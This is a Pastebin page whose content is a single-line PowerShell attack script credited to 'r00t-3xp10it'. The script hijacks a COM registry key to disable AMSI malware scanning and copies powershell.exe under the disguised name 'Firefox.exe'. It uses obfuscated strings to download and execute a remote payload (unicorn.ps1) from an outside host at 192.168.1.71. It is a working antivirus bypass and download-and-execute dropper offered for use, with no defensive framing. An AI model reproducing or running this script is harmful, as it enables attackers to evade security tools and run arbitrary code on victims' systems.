Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #;
- # Author: r00t-3xp10it;
- # AMSI COM Bypass (enigma0x3) + Obfuscate the executable name (dropper);
- #;
- Write-Host ""; Write-Host "[+] AMSI COM Bypass: enigma0x3+r00t-3xp10it" -ForeGroundColor green -BackGroundColor black; Start-sleep 2; Write-Host "[+] Build COM-Object Hijacking RegKey .. " -ForeGroundColor yellow -BackGroundColor black; cmd.exe /c REG add "HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32" /ve /t REG_SZ /d C:\IDontExist.dll /f; Start-sleep 1; Write-Host "[+] Copy powershell binary to temp folder.." -ForeGroundColor yellow -BackGroundColor black; Copy-Item "$env:windir\System32\WindowsPowershell\v1.0\powershell.exe" -Destination "$env:tmp\Firefox.exe"; cd $env:tmp; Start-sleep 1; Write-Host "[+] Using Firefox binary to download/exec.." -ForeGroundColor yellow -BackGroundColor black; $IO=("{2}{0}{1}" -f'e','x','i'); $nil=("{3}{1}{2}{0}" -f'ing','load','Str','Down'); $Stream=("{2}{1}{0}{3}" -f'bCli','We','Net.','ent'); .\Firefox.exe -C "$IO (N`ew-Ob`je`ct $Stream).$nil('ht'+'tp:'+'/'+'/19'+'2.168'+'.1.7'+'1/unicorn.ps1')"; exit
Add Comment
Please, Sign In to add comment
